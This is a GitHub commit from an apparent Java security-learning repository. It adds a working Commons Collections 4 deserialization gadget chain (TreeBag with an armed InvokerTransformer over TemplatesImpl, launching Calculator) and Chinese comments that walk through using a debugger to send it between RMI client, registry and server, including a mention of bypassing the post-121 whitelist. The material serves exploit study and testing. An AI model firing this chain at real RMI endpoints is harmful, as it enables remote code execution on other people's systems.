Skip to content

Commit 209cd19

Browse files
author
threedr3am
committed
feat:完善rmi测试,通过debug方式,完成各端互打(PS:121版本后存在白名单,需绕过)
1 parent 2f9bfeb commit 209cd19

File tree

8 files changed

+303
-3
lines changed

8 files changed

+303
-3
lines changed

rmi/pom.xml

Lines changed: 30 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -32,4 +32,34 @@
3232
<version>3.25.0-GA</version>
3333
</dependency>
3434
</dependencies>
35+
36+
<build>
37+
<plugins>
38+
39+
<plugin>
40+
<groupId>org.apache.maven.plugins</groupId>
41+
<artifactId>maven-assembly-plugin</artifactId>
42+
<configuration>
43+
<archive>
44+
<manifest>
45+
<mainClass>com.threedr3am.bug.rmi.client.RMIClient</mainClass>
46+
</manifest>
47+
</archive>
48+
<descriptorRefs>
49+
<descriptorRef>jar-with-dependencies</descriptorRef>
50+
</descriptorRefs>
51+
<attach>false</attach>
52+
</configuration>
53+
<executions>
54+
<execution>
55+
<id>make-assembly</id>
56+
<phase>package</phase>
57+
<goals>
58+
<goal>single</goal>
59+
</goals>
60+
</execution>
61+
</executions>
62+
</plugin>
63+
</plugins>
64+
</build>
3565
</project>
Lines changed: 33 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,33 @@
1+
package com.threedr3am.bug.rmi;
2+
3+
import com.threedr3am.bug.common.utils.Reflections;
4+
import com.threedr3am.bug.rmi.utils.Gadgets;
5+
import org.apache.commons.collections4.bag.TreeBag;
6+
import org.apache.commons.collections4.comparators.TransformingComparator;
7+
import org.apache.commons.collections4.functors.InvokerTransformer;
8+
9+
/**
10+
* @author threedr3am
11+
*/
12+
public class CommonCollections4 {
13+
14+
public static Object getPayload() throws Exception {
15+
Object templates = Gadgets.createTemplatesImpl("/System/Applications/Calculator.app/Contents/MacOS/Calculator");
16+
17+
// setup harmless chain
18+
final InvokerTransformer transformer = new InvokerTransformer("toString", new Class[0], new Object[0]);
19+
20+
// define the comparator used for sorting
21+
TransformingComparator comp = new TransformingComparator(transformer);
22+
23+
// prepare CommonsCollections object entry point
24+
TreeBag tree = new TreeBag(comp);
25+
tree.add(templates);
26+
27+
// arm transformer
28+
Reflections.setFieldValue(transformer, "iMethodName", "newTransformer");
29+
30+
return tree;
31+
}
32+
33+
}

rmi/src/main/java/com/threedr3am/bug/rmi/client/RMIClient.java

Lines changed: 39 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -15,6 +15,45 @@ public static void main(String[] args) {
1515
try {
1616
Registry registry = LocateRegistry.getRegistry("127.0.0.1", 1099);
1717
HelloService helloService = (HelloService) registry.lookup("hello");
18+
/**
19+
* todo lookup打registry
20+
* 在不了解通讯协议的情况下,想要通过客户端执行lookup打registry,可以先把payload生成类和相关依赖打包成jar包,
21+
* 或者一个class目录,通过jvm启动参数追加其到bootclasspath(因为在stub内,当前类加载器是bootstrap加载器,没办法加载到classpath路径的类)
22+
* -Xbootclasspath/a:/Users/xuanyonghao/security/java/my-project/learnjavabug/rmi/target/rmi-1.0-SNAPSHOT-jar-with-dependencies.jar
23+
* 然后debug到
24+
*
25+
* lookup:115, RegistryImpl_Stub (sun.rmi.registry)
26+
* main:17, RMIClient (com.threedr3am.bug.rmi.client)
27+
*
28+
* 直接debug模式下调用writeObject,参数换成我们的恶意payload
29+
* 例:
30+
* Class c = ClassLoader.getSystemClassLoader().loadClass("com/threedr3am/bug/rmi/CommonCollections4".replace("/","."));
31+
* Method method = c.getMethods()[0];
32+
* Object o = method.invoke(null,null);
33+
* var3.writeObject(o);
34+
*
35+
* */
36+
37+
38+
/**
39+
* todo 客户端打服务端,也是按照上述类似,debug到lookup取到registry返回的stub后,使用dgcclient和服务端连接上
40+
*
41+
* dirty:105, DGCImpl_Stub (sun.rmi.transport)
42+
* makeDirtyCall:382, DGCClient$EndpointEntry (sun.rmi.transport)
43+
* registerRefs:324, DGCClient$EndpointEntry (sun.rmi.transport)
44+
* registerRefs:160, DGCClient (sun.rmi.transport)
45+
* registerRefs:102, ConnectionInputStream (sun.rmi.transport)
46+
* releaseInputStream:157, StreamRemoteCall (sun.rmi.transport)
47+
* done:320, StreamRemoteCall (sun.rmi.transport)
48+
* done:447, UnicastRef (sun.rmi.server)
49+
* lookup:129, RegistryImpl_Stub (sun.rmi.registry)
50+
* main:17, RMIClient (com.threedr3am.bug.rmi.client)
51+
*
52+
* Class c = ClassLoader.getSystemClassLoader().loadClass("com/threedr3am/bug/rmi/CommonCollections4".replace("/","."));
53+
* Method method = c.getMethods()[0];
54+
* Object o = method.invoke(null,null);
55+
* var6.getOutputStream().writeObject(o);
56+
* */
1857
System.out.println(helloService.sayHello());
1958
} catch (RemoteException e) {
2059
e.printStackTrace();

rmi/src/main/java/com/threedr3am/bug/rmi/registry/RMIRegistry.java

Lines changed: 47 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -11,6 +11,53 @@ public class RMIRegistry {
1111

1212
public static void main(String[] args) throws RemoteException {
1313
Registry registry = LocateRegistry.createRegistry(1099);
14+
/**
15+
* todo 看完客户端lookup打registry,也能看到lookup内部执行了readObject,那么,相应的在registry打断点,writeObject恶意类就可以打客户端
16+
*
17+
* writeObject:343, ObjectOutputStream (java.io)
18+
* dispatch:118, RegistryImpl_Skel (sun.rmi.registry)
19+
* oldDispatch:468, UnicastServerRef (sun.rmi.server)
20+
* dispatch:300, UnicastServerRef (sun.rmi.server)
21+
* run:200, Transport$1 (sun.rmi.transport)
22+
* run:197, Transport$1 (sun.rmi.transport)
23+
* doPrivileged:-1, AccessController (java.security)
24+
* serviceCall:196, Transport (sun.rmi.transport)
25+
* handleMessages:573, TCPTransport (sun.rmi.transport.tcp)
26+
* run0:834, TCPTransport$ConnectionHandler (sun.rmi.transport.tcp)
27+
* lambda$run$0:688, TCPTransport$ConnectionHandler (sun.rmi.transport.tcp)
28+
* run:-1, 568523217 (sun.rmi.transport.tcp.TCPTransport$ConnectionHandler$$Lambda$5)
29+
* doPrivileged:-1, AccessController (java.security)
30+
* run:687, TCPTransport$ConnectionHandler (sun.rmi.transport.tcp)
31+
* runWorker:1149, ThreadPoolExecutor (java.util.concurrent)
32+
* run:624, ThreadPoolExecutor$Worker (java.util.concurrent)
33+
* run:748, Thread (java.lang)
34+
*
35+
* todo 因为服务端bind它的stub到registry的时候,也会有序列化数据通讯,所以registry也能被动的打服务端
36+
*
37+
* writeObject:348, ObjectOutputStream (java.io)
38+
* dirty:105, DGCImpl_Stub (sun.rmi.transport)
39+
* makeDirtyCall:382, DGCClient$EndpointEntry (sun.rmi.transport)
40+
* registerRefs:324, DGCClient$EndpointEntry (sun.rmi.transport)
41+
* registerRefs:160, DGCClient (sun.rmi.transport)
42+
* registerRefs:102, ConnectionInputStream (sun.rmi.transport)
43+
* releaseInputStream:157, StreamRemoteCall (sun.rmi.transport)
44+
* dispatch:80, RegistryImpl_Skel (sun.rmi.registry)
45+
* oldDispatch:468, UnicastServerRef (sun.rmi.server)
46+
* dispatch:300, UnicastServerRef (sun.rmi.server)
47+
* run:200, Transport$1 (sun.rmi.transport)
48+
* run:197, Transport$1 (sun.rmi.transport)
49+
* doPrivileged:-1, AccessController (java.security)
50+
* serviceCall:196, Transport (sun.rmi.transport)
51+
* handleMessages:573, TCPTransport (sun.rmi.transport.tcp)
52+
* run0:834, TCPTransport$ConnectionHandler (sun.rmi.transport.tcp)
53+
* lambda$run$0:688, TCPTransport$ConnectionHandler (sun.rmi.transport.tcp)
54+
* run:-1, 568523217 (sun.rmi.transport.tcp.TCPTransport$ConnectionHandler$$Lambda$5)
55+
* doPrivileged:-1, AccessController (java.security)
56+
* run:687, TCPTransport$ConnectionHandler (sun.rmi.transport.tcp)
57+
* runWorker:1149, ThreadPoolExecutor (java.util.concurrent)
58+
* run:624, ThreadPoolExecutor$Worker (java.util.concurrent)
59+
* run:748, Thread (java.lang)
60+
*/
1461
while (true);
1562
}
1663
}

rmi/src/main/java/com/threedr3am/bug/rmi/server/RMIServer.java

Lines changed: 33 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -17,7 +17,39 @@ public static void main(String[] args) {
1717
HelloService helloService = new HelloServiceImpl();
1818
Registry registry = LocateRegistry.getRegistry("127.0.0.1", 1099);
1919
registry.bind("hello", helloService);
20-
} catch (AlreadyBoundException | RemoteException e) {
20+
/**
21+
* todo all in java serialization,客户端能打服务端,服务端利用返回值也能打客户端,服务端不但能被动打客户端,也能主动bind打registry
22+
*
23+
* 打registry(可以选择bind打,也能debug打):
24+
*
25+
* rebind:151, RegistryImpl_Stub (sun.rmi.registry)
26+
* main:19, RMIServer (com.threedr3am.bug.rmi.server)
27+
*
28+
* bind:63, RegistryImpl_Stub (sun.rmi.registry)
29+
* main:19, RMIServer (com.threedr3am.bug.rmi.server)
30+
*
31+
* 打客户端:
32+
*
33+
* writeObject:343, ObjectOutputStream (java.io)
34+
* dispatch:101, DGCImpl_Skel (sun.rmi.transport)
35+
* oldDispatch:468, UnicastServerRef (sun.rmi.server)
36+
* dispatch:300, UnicastServerRef (sun.rmi.server)
37+
* run:200, Transport$1 (sun.rmi.transport)
38+
* run:197, Transport$1 (sun.rmi.transport)
39+
* doPrivileged:-1, AccessController (java.security)
40+
* serviceCall:196, Transport (sun.rmi.transport)
41+
* handleMessages:573, TCPTransport (sun.rmi.transport.tcp)
42+
* run0:834, TCPTransport$ConnectionHandler (sun.rmi.transport.tcp)
43+
* lambda$run$0:688, TCPTransport$ConnectionHandler (sun.rmi.transport.tcp)
44+
* run:-1, 592642572 (sun.rmi.transport.tcp.TCPTransport$ConnectionHandler$$Lambda$3)
45+
* doPrivileged:-1, AccessController (java.security)
46+
* run:687, TCPTransport$ConnectionHandler (sun.rmi.transport.tcp)
47+
* runWorker:1149, ThreadPoolExecutor (java.util.concurrent)
48+
* run:624, ThreadPoolExecutor$Worker (java.util.concurrent)
49+
* run:748, Thread (java.lang)
50+
*
51+
*/
52+
} catch (RemoteException | AlreadyBoundException e) {
2153
e.printStackTrace();
2254
}
2355
}
Lines changed: 52 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,52 @@
1+
package com.threedr3am.bug.rmi.support;
2+
3+
4+
import java.io.ByteArrayOutputStream;
5+
import java.io.IOException;
6+
import java.io.InputStream;
7+
8+
9+
public class ClassFiles {
10+
11+
public static String classAsFile ( final Class<?> clazz ) {
12+
return classAsFile(clazz, true);
13+
}
14+
15+
16+
public static String classAsFile ( final Class<?> clazz, boolean suffix ) {
17+
String str;
18+
if ( clazz.getEnclosingClass() == null ) {
19+
str = clazz.getName().replace(".", "/");
20+
}
21+
else {
22+
str = classAsFile(clazz.getEnclosingClass(), false) + "$" + clazz.getSimpleName();
23+
}
24+
if ( suffix ) {
25+
str += ".class";
26+
}
27+
return str;
28+
}
29+
30+
31+
@SuppressWarnings ( "resource" )
32+
public static byte[] classAsBytes ( final Class<?> clazz ) {
33+
try {
34+
final byte[] buffer = new byte[1024];
35+
final String file = classAsFile(clazz);
36+
final InputStream in = ClassFiles.class.getClassLoader().getResourceAsStream(file);
37+
if ( in == null ) {
38+
throw new IOException("couldn't find '" + file + "'");
39+
}
40+
final ByteArrayOutputStream out = new ByteArrayOutputStream();
41+
int len;
42+
while ( ( len = in.read(buffer) ) != -1 ) {
43+
out.write(buffer, 0, len);
44+
}
45+
return out.toByteArray();
46+
}
47+
catch ( IOException e ) {
48+
throw new RuntimeException(e);
49+
}
50+
}
51+
52+
}

rmi/src/main/java/com/threedr3am/bug/rmi/utils/Gadgets.java

Lines changed: 1 addition & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -10,8 +10,7 @@
1010
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
1111
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
1212
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
13-
import com.threedr3am.bug.common.support.ClassFiles;
14-
import com.threedr3am.bug.common.utils.Reflections;
13+
import com.threedr3am.bug.rmi.support.ClassFiles;
1514
import java.io.Serializable;
1615
import java.lang.reflect.Array;
1716
import java.lang.reflect.Constructor;
Lines changed: 68 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,68 @@
1+
package com.threedr3am.bug.rmi.utils;
2+
3+
import java.lang.reflect.Constructor;
4+
import java.lang.reflect.Field;
5+
import java.lang.reflect.InvocationTargetException;
6+
import sun.reflect.ReflectionFactory;
7+
8+
9+
@SuppressWarnings ( "restriction" )
10+
public class Reflections {
11+
12+
public static Field getField ( final Class<?> clazz, final String fieldName ) throws Exception {
13+
try {
14+
Field field = clazz.getDeclaredField(fieldName);
15+
if ( field != null )
16+
field.setAccessible(true);
17+
else if ( clazz.getSuperclass() != null )
18+
field = getField(clazz.getSuperclass(), fieldName);
19+
20+
return field;
21+
}
22+
catch ( NoSuchFieldException e ) {
23+
if ( !clazz.getSuperclass().equals(Object.class) ) {
24+
return getField(clazz.getSuperclass(), fieldName);
25+
}
26+
throw e;
27+
}
28+
}
29+
30+
31+
public static void setFieldValue ( final Object obj, final String fieldName, final Object value ) throws Exception {
32+
final Field field = getField(obj.getClass(), fieldName);
33+
field.set(obj, value);
34+
}
35+
36+
37+
public static Object getFieldValue ( final Object obj, final String fieldName ) throws Exception {
38+
final Field field = getField(obj.getClass(), fieldName);
39+
return field.get(obj);
40+
}
41+
42+
43+
public static Constructor<?> getFirstCtor ( final String name ) throws Exception {
44+
final Constructor<?> ctor = Class.forName(name).getDeclaredConstructors()[ 0 ];
45+
ctor.setAccessible(true);
46+
return ctor;
47+
}
48+
49+
50+
public static <T> T createWithoutConstructor ( Class<T> classToInstantiate )
51+
throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException {
52+
return createWithConstructor(classToInstantiate, Object.class, new Class[0], new Object[0]);
53+
}
54+
55+
56+
@SuppressWarnings ( {
57+
"unchecked"
58+
} )
59+
public static <T> T createWithConstructor ( Class<T> classToInstantiate, Class<? super T> constructorClass, Class<?>[] consArgTypes,
60+
Object[] consArgs ) throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException {
61+
Constructor<? super T> objCons = constructorClass.getDeclaredConstructor(consArgTypes);
62+
objCons.setAccessible(true);
63+
Constructor<?> sc = ReflectionFactory.getReflectionFactory().newConstructorForSerialization(classToInstantiate, objCons);
64+
sc.setAccessible(true);
65+
return (T) sc.newInstance(consArgs);
66+
}
67+
68+
}

0 commit comments

Comments
 (0)